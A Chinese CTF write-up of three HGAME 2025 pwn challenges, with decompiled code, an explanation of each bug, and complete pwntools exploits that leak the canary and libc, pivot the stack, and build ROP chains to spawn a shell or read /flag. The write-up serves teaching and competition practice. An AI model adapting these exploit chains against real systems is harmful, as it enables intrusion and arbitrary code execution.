[HGAME 2025] week1 pwn wp

counting petals

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

保护全开。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-A4h]
  int v5; // [rsp+10h] [rbp-A0h]
  int randnum; // [rsp+14h] [rbp-9Ch]
  __int64 petals[17]; // [rsp+18h] [rbp-98h] BYREF
  int num; // [rsp+A0h] [rbp-10h] BYREF
  int cnt; // [rsp+A4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+A8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  init();
  v4 = 0;
  while ( 1 )
  {
    v5 = 0;
    randnum = rand() % 30;
    cnt = 0;
    puts("\nAs we know,there's a tradition to determine whether someone loves you or not...");
    puts("... by counting flower petals when u are not sure.");
    puts("\nHow many flowers have you prepared this time?");
    __isoc99_scanf("%d", &num);
    if ( num > 16 )
    {
      puts("\nNo matter how many flowers there are, they cannot change the fact of whether he or she loves you.");
      puts("Just a few flowers will reveal the answer,love fool.");
      exit(0);
    }
    puts("\nTell me the number of petals in each flower.");
    while ( cnt < num )
    {
      printf("the flower number %d : ", (unsigned int)++cnt);
      __isoc99_scanf("%ld", &petals[cnt + 1]);  // 第一轮cnt=0,但是在输入flower 1的时候值被录入petals[2],导致如果num=16,最后一轮cnt=15,flower 16被录入petals[17],造成数组越界
    }
    puts("\nDo you want to start with 'love me'");
    puts("...or 'not love me'?");
    puts("Reply 1 indicates the former and 2 indicates the latter: ");
    __isoc99_scanf("%ld", petals);
    puts("\nSometimes timing is important, so I added a little bit of randomness.");
    puts("\nLet's look at the results.");
    while ( v5 < num )
    {
      printf("%ld + ", petals[++v5 + 1]);
      petals[0] += petals[v5 + 1];              // petals[0] 用于记录总和
    }
    printf("%d", (unsigned int)randnum);
    petals[0] += randnum;
    puts(" = ");
    if ( (petals[0] & 1) == 0 )
      break;
    puts("He or she doesn't love you.");
    if ( v4 > 0 )
      return 0;
    ++v4;
    puts("What a pity!");
    puts("I can give you just ONE more chance.");
    puts("Wish that this time they love you.");
  }
  puts("Congratulations,he or she loves you.");
  return 0;
}

很明显的数组越界,同时调试的时候发现还可以认为指定输出的个数,造成栈中的信息泄露。个人感觉这道题有趣的点在于你可以把 canary 泄露出来,但是没必要用这个值,因为你写入的时候可以直接越过 canary 的地方直接写返回地址。

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# io = process('./vuln')
io = remote('node1.hgame.vidar.club', 31884)

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# gdb.attach(io, 'b *$rebase(0x13e5)\nb *$rebase(0x1446)')
# gdb.attach(io, 'b *$rebase(0x1446)')
# gdb.attach(io)

io.sendlineafter('How many flowers have you prepared this time?', b'16')

for i in range(1, 16):
    io.sendlineafter(f'the flower number {i} : ', b'100')

io.sendlineafter('the flower number 16 : ', b'98784247832') # 0x1700000018
io.sendlineafter('the flower number 24 : ', b'0')

io.sendlineafter('Reply 1 indicates the former and 2 indicates the latter: \n', b'1')
sleep(2)
row_data = io.recv()
print(row_data)

text_str = row_data.decode()
numbers_part = text_str.split('\n')[4]
addends = numbers_part.split(' + ')
canary = int(addends[16])
leak_libc = int(addends[18])
main_addr = int(addends[20])
print("Canary: ", hex(canary))
print("Leak libc: ", hex(leak_libc))
print("Main address: ", hex(main_addr))

io.sendline(b'16')
for i in range(1, 16):
    io.sendlineafter(f'the flower number {i} : ', b'100')

libc.address = leak_libc - 0x29d90
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000011f2e7 : pop rdx ; pop r12 ; ret
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
bin_sh = libc.search(b'/bin/sh').__next__()
system = libc.sym['system']

# payload = flat(
#     canary,
#     b'B' * 8,
#     pop_rdi, bin_sh,
#     pop_rsi, 0,
#     pop_rdx_r12, 0, 0,
#     system
# )

io.sendlineafter('the flower number 16 : ', b'77309411354') # 0x120000001a
io.sendlineafter('the flower number 19 : ', str(pop_rdi))
io.sendlineafter('the flower number 20 : ', str(bin_sh))
io.sendlineafter('the flower number 21 : ', str(pop_rsi))
io.sendlineafter('the flower number 22 : ', str(0))
io.sendlineafter('the flower number 23 : ', str(pop_rdx_r12))
io.sendlineafter('the flower number 24 : ', str(0))
io.sendlineafter('the flower number 25 : ', str(0))
io.sendlineafter('the flower number 26 : ', str(system))


io.interactive()

ezstack

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3ff000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

canary 和 PIE 都没开。

这题首要问题是怎么调试。这个程序相当于开了个服务端,直接 ./vuln 运行这个文件没有任何输出。

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  socklen_t addr_len; // [rsp+Ch] [rbp-44h] BYREF
  struct sockaddr addr; // [rsp+10h] [rbp-40h] BYREF
  int optval; // [rsp+2Ch] [rbp-24h] BYREF
  struct sockaddr s; // [rsp+30h] [rbp-20h] BYREF
  __pid_t v7; // [rsp+44h] [rbp-Ch]
  int v8; // [rsp+48h] [rbp-8h]
  int fd; // [rsp+4Ch] [rbp-4h]

  signal(17, (__sighandler_t)1);
  fd = socket(2, 1, 6);
  if ( fd < 0 )
  {
    perror("socket error");
    exit(1);
  }
  memset(&s, 0, sizeof(s));
  s.sa_family = 2;
  *(_WORD *)s.sa_data = htons(9999u);
  *(_DWORD *)&s.sa_data[2] = htonl(0);
  optval = 1;
  if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
  {
    perror("setsockopt error");
    exit(1);
  }
  if ( bind(fd, &s, 0x10u) < 0 )
  {
    perror("bind error");
    exit(1);
  }
  if ( listen(fd, 10) < 0 )
  {
    perror("listen error");
    exit(1);
  }
  addr_len = 16;
  while ( 1 )
  {
    v8 = accept(fd, &addr, &addr_len);
    if ( v8 < 0 )
      break;
    v7 = fork();
    if ( v7 == -1 )
    {
      perror("fork error");
      exit(1);
    }
    if ( !v7 )
    {
      handler((unsigned int)v8);
      close(v8);
      exit(0);
    }
    close(v8);
  }
  perror("accept error");
  exit(1);
}

其中主要处理部分显然在 handler 函数中,而

*(_WORD *)s.sa_data = htons(0x270Fu); // 绑定端口9999
*(_DWORD *)&s.sa_data[2] = htonl(0);  // 绑定IP 0.0.0.0
setsockopt(fd, 1, 2, &optval, 4u);    // 设置SO_REUSEADDR选项
bind(fd, &s, 0x10u);                  // 绑定套接字

则告诉我们一些基本信息。我们需要 nc localhost 9999 才能看到 handler 函数的输出:

__int64 __fastcall handler(unsigned int a1)
{
  __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = seccomp_init(2147418112LL);
  seccomp_rule_add(v2, 0LL, 59LL, 0LL);
  seccomp_rule_add(v2, 0LL, 322LL, 0LL);
  seccomp_load(v2);
  print(a1, "Some gossip about Vidar here.\n");
  print(a1, "But you'd have to break my vulnerability to tell you.\n");
  print(a1, "٩(。・ω・。)و\n");
  print(a1, "Are you ready?Let's go!\n");
  vuln(a1);
  print(a1, "(๑´ㅂ`๑)Good Bye.\n");
  return 0LL;
}

那么怎么调试呢?很简单,开两个 process() 就好了。

p = process('./vuln')
gdb.attach(p, "b *0x40140F")

sleep(1)
io = remote('localhost', 9999)

我们要调试的是 p 这个程序,但所有的交互必须通过 io 进行。

v2 = seccomp_init(2147418112LL);
seccomp_rule_add(v2, 0LL, 59LL, 0LL);
seccomp_rule_add(v2, 0LL, 322LL, 0LL);

注意这几句,说明禁用了 execve execveat,导致我们即使 ROP 也不能通过调用 system("/bin/sh") 获得控制权,只能退而求其次用 orw 偷 flag.

ssize_t __fastcall vuln(unsigned int a1)
{
  char buf[80]; // [rsp+10h] [rbp-50h] BYREF

  print(a1, "ξ( ✿>◡❛) There is an obvious stack overflow here.\n");
  print(a1, "That's all.\n");
  print(a1, "Good luck.\n");
  return read(a1, buf, 0x60uLL);
}

再看 vuln 函数,只能溢出 0x10 大小说明我们只能通过栈迁移的方式进行攻击,因为 0x8 一句话肯定写不了完整的 ROP 链(而且程序也没给后门)。24 年网鼎杯 pwn02 作为 pwn 中的送分题是告诉你栈地址的,这样可以很轻松实现栈迁移。但它什么都不肯告诉我们,于是就要用一种通用的手法去迁移——利用 read .

查看程序调用 read 处的汇编代码:

lea     rcx, [rbp-50h]
mov     eax, [rbp-54h]
mov     edx, 60h ; '`'  ; nbytes
mov     rsi, rcx        ; buf
mov     edi, eax        ; fd
call    _read
nop
leave
retn

由于我们可以覆盖 rbp ,那么再把返回地址写到这里时,read 就会从 rbp - 0x50 处开始读取,并且在下面的 leave; ret 后实现栈的迁移。这就是相对通用的栈迁移手法。

后面就是反复的调试了……

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('./vuln')
libc = ELF('/mnt/d/PWNlearn/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

# p = process('./vuln')
# gdb.attach(p, "b *0x40140F")

sleep(1)
# io = remote('localhost', 9999)
io = remote("node1.hgame.vidar.club", 32496)

# p 相当于服务器,io 相当于客户端,我们只能从 io 发送数据给 p

# 0x0000000000401713 : pop rdi ; ret
# 0x0000000000401711 : pop rsi ; pop r15 ; ret
# 0x00000000004013cb : leave ; ret
pop_rdi = 0x401713
pop_rsi_r15 = 0x401711

data_addr = 0x404100
read_addr = 0x40140F

# 1st 栈迁移,栈被迁移到 .data 段,注意利用 .data 段上的数据满足 fd=4
payload_1 = flat(
    b'a' * (0x50),
    data_addr + 0x54,
    read_addr,
)
io.sendafter('Good luck.\n', payload_1)
pause()

# 2nd 利用 write 泄露 libc
write_got = elf.got['write']
write_plt = elf.plt['write']
leave_ret = 0x4013CB 
main_addr = 0x4014F7
payload_2 = flat(
    b'a' * 0x10,      # 0x404104
    data_addr + 0x54, # 0x404114
    pop_rdi,          # 0x40411c
    4,                # 0x404124
    pop_rsi_r15,
    write_got,
    0,
    write_plt, 
    read_addr,
    data_addr + 20,
    leave_ret
)
io.send(payload_2)
write_addr = io.recv()
write_addr = u64(write_addr[:8].ljust(8, b'\x00'))
print('write_addr:', hex(write_addr))
libc.address = write_addr - libc.sym['write']
print('libc_base:', hex(libc.address))
pause()

# 0x000000000002601f : pop rsi ; ret
# 0x0000000000119431 : pop rdx ; pop r12 ; ret
# 0x0000000000036174 : pop rax ; ret
pop_rsi = libc.address + 0x000000000002601f
pop_rdx_r12 = libc.address + 0x0000000000119431
pop_rax = libc.address + 0x0000000000036174
syscall = libc.sym['getpid'] + 9

# 3rd ROP 调用 read, 提供一段长空间
payload_3 = flat(
    0x404808,             # 0x404104
    pop_rdi,              # 0x40410c
    4,                    # 0x404114
    pop_rsi,              # 0x40411c
    0x404800,             # 0x404124
    pop_rdx_r12,          # 0x40412c
    0xf0,                 # 0x404134
    0,                    # 0x40413c
    elf.plt['read'],      # 0x404144
    leave_ret,            # 0x40414c
    0x404104,             # 0x404154
    leave_ret             # 0x40415c
)
io.send(payload_3)

pause()
fd = 5
# 4th 利用 openat 打开 flag 文件,read 读取文件内容,write 输出
payload_4 = flat(
    b'/flag\x00\x00\x00',
    0x404810,
    pop_rdi,
    0,
    pop_rsi,
    0x404800,
    pop_rdx_r12,
    0,
    0,
    libc.sym['openat'],
    pop_rdi,
    fd,
    pop_rsi,
    0x4040c0,
    pop_rdx_r12,
    0x50,
    0,
    elf.plt['read'],
    pop_rdi,
    4,
    pop_rsi,
    0x4040c0,
    pop_rdx_r12,
    0x50,
    0,
    elf.plt['write']
)
io.send(payload_4)

io.interactive()

format

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3ff000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char format[4]; // [rsp+0h] [rbp-10h] BYREF
  signed int v5; // [rsp+4h] [rbp-Ch] BYREF
  int v6; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  printf("you have n chance to getshell\n n = ");
  if ( (int)__isoc99_scanf("%d", &v6) <= 0 )
    exit(1);
  for ( i = 0; i < v6; ++i )
  {
    printf("type something:");
    if ( (int)__isoc99_scanf("%3s", format) <= 0 )
      exit(1);
    printf("you type: ");
    printf(format);
  }
  printf("you have n space to getshell(n<5)\n n = ");
  __isoc99_scanf("%d\n", &v5);
  if ( v5 <= 5 )
    vuln(v5);
  return 0;
}
ssize_t __fastcall vuln(unsigned int a1)
{
  char buf[4]; // [rsp+1Ch] [rbp-4h] BYREF

  printf("type something:");
  return read(0, buf, a1);
}

由于 vuln 参数 a1 是 unsigned int,所以填 -1 就可以随便溢出了。前面给了无数次格式化字符串漏洞的机会,但只能输 3 个字符,容易想到的只有 %p,发现泄露的 rsi 是一个栈上的地址。虽然这里限制了 3 个字符,但由于栈溢出,我们可以重复利用这个格式化字符串漏洞,并且泄露多个栈上的地址,找到我们需要的那个(跟 libc 相关的地址),然后就快乐 ROP 了。

lea     rax, [rbp-10h]
mov     rdi, rax        ; format
mov     eax, 0
call    _printf

下面是完整 exp:

from pwn import *

io = process('./vuln')
# io = remote("node1.hgame.vidar.club", 31535)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io, "b *0x4011d4\nb *0x4012cf")
# gdb.attach(io, "b *0x401328\nb *0x4011d9")
# gdb.attach(io, "b *0x401316")

# leak stack
io.sendlineafter('n = ', b'1')
io.recv()
io.sendline(b'%p')
io.recvuntil('you type: ')
leak_stack = io.recv(14).decode()
leak_stack = int(leak_stack, 16)
print("leak_stack: ", hex(leak_stack))

# sleep(1)
# leak libc
format_addr = 0x4012cf
# 0x000000000040101a : ret
ret_addr = 0x40101a
# lea rax, [rbp + format]
# mov rdi, rax
# mov eax, 0
# call printf
# format 在 rbp-0x10 处,所以可以利用这个片段泄露栈上地址,从而泄露 libc 基地址
io.sendlineafter("n = ", b'-1')
# io.send(b'a')
libc_to_leak_addr = leak_stack + 0x2130
payload = flat(
    b'a' * 5,
    libc_to_leak_addr,
    format_addr,
    # b'%p%p%p%p%p%p%p%p'
    b'%3$p'
)
io.send(payload)

sleep(1)
io.recvuntil("type something:")
leak_libc = io.recv(14).decode()
print("leak_libc: ", leak_libc)
libc_addr = int(leak_libc, 16) - 0x1147e2
libc.address = libc_addr
print("libc_addr: ", hex(libc_addr))

# stack overflow
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
rdi_addr = 0x2a3e5 + libc_addr
rsi_addr = 0x2be51 + libc_addr
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
payload = flat(
    b'a' * (4 + 8),
    rdi_addr + 1,
    rdi_addr,
    binsh_addr,
    system_addr
)
io.send(payload)

io.interactive()
上一篇
下一篇